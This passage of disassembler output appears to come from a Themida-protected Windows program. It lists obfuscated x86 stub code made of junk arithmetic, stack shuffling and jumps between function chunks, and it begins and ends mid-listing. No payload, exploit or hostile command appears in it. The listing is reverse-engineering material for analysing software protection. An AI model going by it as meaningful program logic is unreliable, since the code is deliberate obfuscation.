loc_55D4EF ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_560D7E: ; CODE XREF: Themida_:0056FB80j push ebp jmp loc_56DBB4 ; --------------------------------------------------------------------------- loc_560D84: ; CODE XREF: Themida_:0056BA1Dj mov ah, 54h or ah, 87h jmp loc_55F1C4 ; --------------------------------------------------------------------------- loc_560D8E: ; CODE XREF: Themida_:0055EBA5j sub eax, 111041E1h add eax, esi add eax, 111041E1h push dword ptr [esp] pop esi push edx mov edx, esp push ecx jmp loc_566638 ; =============== S U B R O U T I N E ======================================= sub_560DA7 proc near ; CODE XREF: sub_56755A-1191j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005600D0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056152E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00566B30 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A2C1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056E039 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FB23 SIZE 0000000B BYTES push ebx push ebp push edx jmp loc_56152E sub_560DA7 endp ; --------------------------------------------------------------------------- loc_560DAF: ; CODE XREF: Themida_:00562D7Bj add edx, 49390A1Fh add edx, ebp push ebx mov ebx, 65635A46h jmp loc_56DCE3 ; --------------------------------------------------------------------------- loc_560DC2: ; CODE XREF: Themida_:0055F780j push 725655C0h jmp loc_5680D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560DCC: ; CODE XREF: sub_56755A+598j dec ebp shr ebp, 5 sub esp, 4 jmp loc_56ADF9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560DDB: ; CODE XREF: Themida_:0056DD61j dec si push cx mov cx, 0F5Fh sub esp, 2 jmp loc_56CF34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_560DEB: ; CODE XREF: sub_560B67-42A1j mov [esp+0], esi push esp pop esi push edx mov edx, 5AD24923h push ebp jmp loc_56D2CA ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_560DFC: ; CODE XREF: sub_56E89A-A7DAj add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] jmp loc_56E63F ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_560E0D: ; CODE XREF: Themida_:00564DFFj mov esp, [esp] bts [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560E1B: ; CODE XREF: sub_56755A+67E3j add edx, 4 push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp+0Ch+var_C] jmp loc_56CD41 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560E32: ; CODE XREF: Themida_:0056D35Ej add bl, 0D5h sub bl, 0FBh add bl, al add bl, 0FBh push edx push eax mov ah, 75h jmp loc_55D3F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_560E46: ; CODE XREF: sub_5643B1+3021j sub esi, 4DF032BEh mov ebp, esi jmp loc_56DE92 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- loc_560E53: ; CODE XREF: Themida_:0056ED69j push eax mov eax, 2ADA1EE4h jmp loc_56747D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560E5E: ; CODE XREF: sub_56755A-4883j add edi, ebx pop ebx jmp loc_55F0F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_560E66: ; CODE XREF: sub_56E89A-BD84j pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_56ACB9 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560E71: ; CODE XREF: sub_56755A-1335j sub edx, ecx pop ecx jmp loc_56627B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560E79: ; CODE XREF: Themida_:00560A7Fj and ecx, 26DE64CCh jmp loc_56A1B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560E84: ; CODE XREF: sub_56755A-3362j add ebx, 1 push eax mov eax, 73684428h add ebx, eax pop eax push ecx mov ecx, 59FC0D17h sub edi, 47AE6A33h add edi, ecx jmp loc_56669C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_560EA6: ; CODE XREF: sub_565269-4DEBj push 72A9h mov [esp+0Ch+var_C], ebx push eax push ebp jmp loc_5699AB ; END OF FUNCTION CHUNK FOR sub_565269 ; =============== S U B R O U T I N E ======================================= sub_560EB5 proc near ; CODE XREF: sub_56250B+19CEj var_4 = word ptr -4 ; FUNCTION CHUNK AT 0055F620 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560F87 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00561167 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562227 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056CC6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056FD93 SIZE 00000016 BYTES sub esp, 2 mov [esp+4+var_4], cx mov cx, 62F0h jmp loc_56FD93 sub_560EB5 endp ; --------------------------------------------------------------------------- loc_560EC8: ; CODE XREF: Themida_:0056A40Ej mov edi, 4 sub eax, 7FDE0F31h add eax, edi add eax, 7FDE0F31h pop edi xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_568B84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560EF0: ; CODE XREF: sub_56755A+A61j mov [esp+8+var_8], ebp sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 33F25339h add ecx, 7DC57E6Ah sub ecx, 6FC35581h push ebx jmp loc_5703F8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560F10: ; CODE XREF: Themida_:0055C9F6j shl edi, 5 jmp loc_570627 ; --------------------------------------------------------------------------- loc_560F18: ; CODE XREF: Themida_:0056175Dj add ecx, 4 xchg ecx, [esp] pop esp add ebp, 4 jmp loc_56688C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_560F2A: ; CODE XREF: sub_5B3505-578FDj pop ax sub al, 0F5h sub al, 9Eh xor dl, al mov eax, [esp+2Ch+var_2E+2] jmp loc_564F15 ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- loc_560F3A: ; CODE XREF: Themida_:00560D55j sub esp, 4 mov [esp], ebp push esp jmp loc_55E80F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560F49: ; CODE XREF: sub_56755A+CDEj sub edi, ebx xchg edi, ebx pop edi xor ebx, 10260C45h shl ebx, 2 not ebx push ebp mov ebp, 1536213Dh jmp loc_55BD60 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560F64: ; CODE XREF: Themida_:0056EEACj sub ebx, eax sub ebx, 4D443CB4h pop eax xor ebx, [esp] xor [esp], ebx jmp loc_561780 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_560F87: ; CODE XREF: sub_560EB5-188Fj add bx, ax pop ax pop cx movzx eax, ax jmp loc_562227 ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- loc_560F96: ; CODE XREF: Themida_:0055E184j add edx, ecx pop ecx add edx, 4 xor edx, [esp] jmp loc_561B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_560FA7: ; CODE XREF: sub_55FDEF+8B77j xor eax, [esp+4+var_4] pop esp jmp loc_568536 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_560FB0: ; CODE XREF: Themida_:0056CDA0j xor si, [esp] jmp loc_567BB5 ; --------------------------------------------------------------------------- loc_560FB9: ; CODE XREF: Themida_:0056697Dj mov ecx, 6290FF3h sub ebp, ecx pop ecx pop eax push eax jmp loc_55BDDF ; --------------------------------------------------------------------------- loc_560FC8: ; CODE XREF: Themida_:00562833j sub eax, 70423EEFh pop ecx xchg eax, [esp] pop esp jmp loc_565AB5 ; =============== S U B R O U T I N E ======================================= sub_560FD7 proc near ; CODE XREF: sub_56E1C0-B4B0j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C8D5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565C0B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056637E SIZE 00000018 BYTES push ebx jmp loc_56637E sub_560FD7 endp ; --------------------------------------------------------------------------- loc_560FDD: ; CODE XREF: Themida_:00563536j mov esp, [esp] and [esp], ax pushf jmp loc_567507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560FEA: ; CODE XREF: sub_56755A-430Aj mov esi, 4 add edx, esi mov esi, [esp+10h+var_10] add esp, 4 xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx xor edx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] test ecx, eax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_56100B: ; CODE XREF: sub_56F13C-D97Cj pop esp and eax, ebx mov ebx, [esp-4+arg_0] push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_56EF17 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- loc_561028: ; CODE XREF: Themida_:0056B550j push ecx mov ecx, 6C6C5C99h sub ebx, ecx pop ecx mov eax, [ebx] mov ebx, [esp] add esp, 4 jmp loc_5643A2 ; --------------------------------------------------------------------------- loc_56103E: ; CODE XREF: Themida_:0055E526j sub edx, 0AFE04625h mov esi, 21F51654h xor esi, edx pop edx sub eax, esi pop esi add eax, 66681392h add eax, edx jmp loc_5689DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56105B: ; CODE XREF: sub_56755A+1A00j push 2BE4h mov [esp+14h+var_14], ecx push ebx jmp loc_56FCAE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561069: ; CODE XREF: Themida_:0055F78Aj mov cx, [esp] add esp, 2 sub ax, si push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ebx jmp loc_56CF79 ; --------------------------------------------------------------------------- loc_56108B: ; CODE XREF: Themida_:0055E3C2j mov ebx, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_5681A7 ; --------------------------------------------------------------------------- loc_5610A5: ; CODE XREF: Themida_:005648FBj xchg edx, esi not edx jmp loc_56D12D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5610AE: ; CODE XREF: sub_56755A-78F3j mov [esp+12h+var_14+2], esi push eax jmp loc_564407 ; --------------------------------------------------------------------------- loc_5610B7: ; CODE XREF: sub_56755A+6996j push esi mov edi, [esp+1Ah+var_1C+2] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_56D5C8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_5610CC: ; CODE XREF: sub_566FBB+5C30j mov [esp+0], esi push edi mov edi, esp push ecx mov ecx, 4 add edi, ecx pop ecx sub edi, 4 xchg edi, [esp+4+var_4] jmp loc_5660D3 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_55C264 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5610F6: ; CODE XREF: sub_56755A+2F09j add eax, 5B427D88h add eax, ecx sub eax, 5B427D88h jmp loc_5705A4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_561107: ; CODE XREF: sub_56B62C+1589j xor dh, 43h add bh, dh pop edx jmp loc_565F16 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_561112: ; CODE XREF: Themida_:0056DD79j mov [esp], eax mov eax, 619B1A9Fh jmp loc_55F691 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56111F: ; CODE XREF: sub_55CD7B+6B41j mov ebp, 4 add edx, 6EB8622Dh jmp loc_56A0BF ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_56112F: ; CODE XREF: Themida_:005688F4j add cl, dh pop edx jmp loc_5676AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561137: ; CODE XREF: sub_56755A-3160j push ecx mov ecx, 4 add edi, ecx pop ecx sub esp, 4 jmp loc_56A965 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56114B: ; CODE XREF: Themida_:0056A04Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, 2 jmp loc_57005C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561161: ; CODE XREF: sub_56755A-3DABj push edx jmp loc_56A9DA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_561167: ; CODE XREF: sub_560EB5+EEEFj mov dx, si jmp loc_55F620 ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- loc_56116F: ; CODE XREF: Themida_:005695A0j pop ebp sub esp, 4 mov [esp], eax jmp loc_560788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56117B: ; CODE XREF: sub_56755A+2DE2j push 7D67h jmp loc_5660FB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CEF loc_561185: ; CODE XREF: sub_565CEF+8B50j pop ecx push edx push eax pop edx pop eax dec eax xchg eax, edx inc edx push edi mov edi, 759D1D13h and edx, edi pop edi and edx, 640773CBh add edx, 655742E3h sub edi, edx pop edx sub edi, 3107722Bh sub edi, esi add edi, 3107722Bh add edi, 695853E6h push [esp+4+var_4] pop esi jmp sub_56EE26 ; END OF FUNCTION CHUNK FOR sub_565CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5611C2: ; CODE XREF: sub_56755A+B76j mov [esp+2Ah+var_2C+2], ebx push 1 jmp loc_566178 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5611CF: ; CODE XREF: Themida_:005629C9j push ebp mov ebp, 4 jmp loc_566582 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5611DA: ; CODE XREF: sub_56755A+6655j xor ecx, [esp+2Eh+var_30+2] mov esp, [esp+2Eh+var_30+2] jmp loc_56A32F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_5611E5: ; CODE XREF: sub_56CD48+Cj push dword ptr [esp+0] jmp loc_5647BD ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- loc_5611ED: ; CODE XREF: Themida_:00568D33j mov edx, 544D3896h push edx inc dword ptr [esp] pop edx dec edx dec edx xor edx, 74C61F57h inc edx xor edx, 6572664Bh sub esi, edx pop edx jmp loc_56DD0B ; --------------------------------------------------------------------------- loc_56120E: ; CODE XREF: Themida_:00569BF6j add ebp, 510A4794h add ebp, esi sub ebp, 510A4794h pop esi push esi jmp loc_567C45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_561223: ; CODE XREF: sub_56CEC8-480Cj and ah, 7Ch add ah, 20h sub bl, ah jmp loc_562C39 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561230: ; CODE XREF: sub_56755A+8174j add esi, ecx jmp loc_55DA96 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_568633 ; --------------------------------------------------------------------------- loc_561242: ; CODE XREF: Themida_:0056E150j pop esp jmp loc_57054A ; --------------------------------------------------------------------------- mov ax, [esp] push 73AEh mov [esp], edi push esp jmp loc_568C91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56125A: ; CODE XREF: sub_56755A+2C69j pop eax add esp, 4 sub esp, 4 mov [esp+2Ah+var_2C+2], ebp push esi mov esi, 542E754Ah jmp loc_566999 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561272: ; CODE XREF: Themida_:0056FEF4j mov edi, 7E45E7Eh xor eax, edi mov edi, [esp] add esp, 4 xor eax, 1146796Ch and eax, 28C912A3h neg eax sub eax, 0F7B7FF7Dh jmp loc_55D68A ; --------------------------------------------------------------------------- loc_561295: ; CODE XREF: Themida_:005647B3j push 60B8h mov [esp], eax jmp loc_56D6F0 ; --------------------------------------------------------------------------- loc_5612A2: ; CODE XREF: Themida_:00564949j push eax mov ah, 0D2h mov bl, ah pop eax add bl, 8Bh xchg dl, bl inc dl xchg dl, bl shl bl, 1 jmp loc_56F4D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5612B8: ; CODE XREF: sub_56755A-AF68j inc eax add eax, 18B0C2BAh add edx, eax mov eax, [esp+16h+var_18+2] add esp, 4 add eax, 3FB05B82h add eax, edx jmp loc_56CC2D ; --------------------------------------------------------------------------- loc_5612D5: ; CODE XREF: sub_56755A+38C6j pop edi xor eax, edi xor edi, eax xor eax, edi sub eax, 330D3B89h jmp sub_5608D9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_5612E6: ; CODE XREF: sub_565C4A-78Fj pop eax jmp loc_55CDB7 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5612EC: ; CODE XREF: sub_56755A-7BD5j push edi mov edi, 5B4347C6h jmp loc_560A24 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5612F7: ; CODE XREF: Themida_:0056D256j push edi mov edi, 3F56713Ch push ebp mov ebp, 669B7F84h jmp loc_5614E9 ; --------------------------------------------------------------------------- loc_561308: ; CODE XREF: Themida_:00560265j pop esp add edx, 2 xchg edx, [esp] jmp loc_567D1E ; --------------------------------------------------------------------------- loc_561314: ; CODE XREF: Themida_:0056ED84j inc eax sub eax, 60D902FBh push 625h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_55D047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_56133B: ; CODE XREF: sub_56CD48+2C11j sub ebp, 38966C2Eh sub ebp, 4E677671h jmp loc_56D431 ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56134C: ; CODE XREF: sub_56755A+8815j mov ebp, 5D6A380Dh xor ebp, 0FAB6779h jmp loc_55BEB0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56135C: ; CODE XREF: Themida_:005607AEj xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56E59C ; --------------------------------------------------------------------------- loc_56136A: ; CODE XREF: Themida_:00565144j sub eax, ebx pop ebx pop ecx push 57AAh mov [esp], ecx mov ecx, 2 sub eax, 7DE064F0h add eax, ecx jmp loc_55DA0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561387: ; CODE XREF: sub_56755A-25E8j add [esp-8+arg_8], ecx jmp loc_56C905 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_561390: ; CODE XREF: sub_56B62C+7j mov cl, dh not cl mov dh, cl pop cx add dh, 7Eh sub dh, 1 dec dh not dh jmp loc_562159 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_5613A7: ; CODE XREF: Themida_:00562D5Cj push ecx mov ch, 0C5h jmp loc_561E5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5613AF: ; CODE XREF: sub_56755A+72C4j add esi, 4 xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi jmp loc_56580A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5613BD: ; CODE XREF: Themida_:0056C840j mov [esp], edx not dword ptr [esp] pop edx xor edx, 6AD93A7Ch shr edx, 6 neg edx push esi jmp loc_56218B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_5613D5: ; CODE XREF: sub_565269+7CE8j push esp jmp loc_564370 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_5613DB: ; CODE XREF: sub_562F62+4169j push 4F69h mov [esp+0Ch+var_C], edi mov edi, 44C40F86h or edi, 2D876A83h shr edi, 1 not edi push ebx push 64D0h mov [esp+14h+var_14], edi mov edi, 3783B804h mov ebx, edi jmp loc_56E6FC ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_561407: ; CODE XREF: Themida_:0055FA0Dj mov edi, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_56F468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56141A: ; CODE XREF: sub_56755A-6B3Bj push 0ADBh mov [esp+18h+var_18], eax mov ah, 0D5h dec ah sub ah, 60h push 0 sub byte ptr [esp+1Ch+var_1C], ah mov ah, byte ptr [esp+1Ch+var_1C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+20h+var_20] pop esp or ah, 34h add ah, 41h or bl, ah jmp loc_56E71A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561451: ; CODE XREF: Themida_:0056D97Aj pop esp mov [esp], edi mov edi, esp jmp loc_568B15 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_562CC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_561465: ; CODE XREF: sub_56026A+B666j push eax mov eax, 4 jmp loc_56712A ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561470: ; CODE XREF: sub_56755A-92B9j inc ecx push ebx mov ebx, 70C723AAh or ecx, ebx pop ebx inc ecx xor ecx, 7DEF27F2h jmp loc_566B0C ; --------------------------------------------------------------------------- loc_561486: ; CODE XREF: sub_56755A+53B2j add esp, 4 add esp, 4 add edx, 4 add edx, 4 xor edx, [esp-8+arg_4] jmp loc_566C10 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5614A0: ; CODE XREF: sub_56F7FC+24Ej xor edx, eax pop eax mov ecx, edx pop edx jmp loc_56B7DC ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_5614AB: ; CODE XREF: Themida_:005601B3j add eax, edx add eax, 18FC50B9h pop edx xchg eax, [esp] pop esp jmp loc_570318 ; --------------------------------------------------------------------------- loc_5614BC: ; CODE XREF: Themida_:0056A569j push esi jmp loc_570512 ; --------------------------------------------------------------------------- loc_5614C2: ; CODE XREF: Themida_:0056AF41j dec ecx not ecx add ecx, 0FFFFFFFFh dec ecx add ecx, 0FFFFFFFFh xor ecx, 0CF25F642h jmp loc_56FBE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_5614DD: ; CODE XREF: sub_569E65-E467j add eax, 3464119h sub eax, ecx jmp loc_568ADF ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- loc_5614E9: ; CODE XREF: Themida_:00561303j push ebp not dword ptr [esp] jmp loc_56C6E4 ; --------------------------------------------------------------------------- loc_5614F2: ; CODE XREF: Themida_:0055E235j pop edi and ecx, 5AAD25FBh push 3A61h mov [esp], ebp mov ebp, 43AA3895h sub ebp, 31872299h and ebp, 23FB139Bh push 0 jmp loc_56D692 ; --------------------------------------------------------------------------- loc_56151C: ; CODE XREF: Themida_:0056984Aj pop ebx push edx push 0D10h jmp loc_566FE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B25 loc_561528: ; CODE XREF: sub_565B25+7B68j dec ebx jmp sub_5643BC ; END OF FUNCTION CHUNK FOR sub_565B25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_56152E: ; CODE XREF: sub_560DA7+3j mov edx, 76AC1B3Fh mov ebp, edx mov edx, [esp+0Ch+var_C] add esp, 4 sub ebp, 72491150h shl ebp, 5 jmp loc_5600D0 ; END OF FUNCTION CHUNK FOR sub_560DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_56154C: ; CODE XREF: sub_5643B1+6j mov [esp+4+var_4], ebx mov ebx, edi push ebx push ebp push esi push 7A3F6912h pop esi jmp loc_5673C0 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_56155F: ; CODE XREF: sub_56D164-3321j sub ebp, 7D35058Ah mov esi, ebp mov ebp, [esp-4+arg_0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push ecx mov ecx, 7B61754Dh or ecx, 79DE5FFFh dec ecx or ecx, 1335387Ch xor ecx, 346E602Ah sub ebp, ecx jmp loc_55D941 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_56159A: ; CODE XREF: Themida_:0056277Cj mov cl, [esp+2] mov [esp+2], dl pop dx jmp loc_569F2A ; =============== S U B R O U T I N E ======================================= sub_5615A9 proc near ; CODE XREF: sub_56755A+18F7j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 var_2 = word ptr -2 arg_2 = dword ptr 6 ; FUNCTION CHUNK AT 0055C14A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055C7C8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005604FE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005623DE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00564720 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005663CE SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056A8E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CA71 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056D480 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DF07 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056EAEA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056FD89 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570376 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570541 SIZE 00000009 BYTES sub esp, 2 mov [esp+0], dx mov dh, 29h add al, 0FBh sub al, 18h jmp loc_570541 sub_5615A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5615BE: ; CODE XREF: Themida_:0056DD25j add esp, 4 push 3B43h mov [esp], ebp push 4 mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_56D8EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5615E5: ; CODE XREF: sub_56755A+7D6Dj mov edx, [esp-8+arg_4] push eax mov eax, esp add eax, 4 push ecx mov ecx, 525860C0h push edx mov edx, 1 jmp loc_55DFB0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_561601: ; CODE XREF: sub_56CB1B-C86Ej add edx, edi pop edi jmp loc_55E3F6 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626C loc_561609: ; CODE XREF: sub_56626C+Aj dec al push edx mov dl, 0BFh shl dl, 8 jmp loc_567256 ; END OF FUNCTION CHUNK FOR sub_56626C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561616: ; CODE XREF: sub_56755A+8E79j push small 38E0h jmp loc_5608FD ; --------------------------------------------------------------------------- loc_56161F: ; CODE XREF: sub_56755A-323j push 50BCh 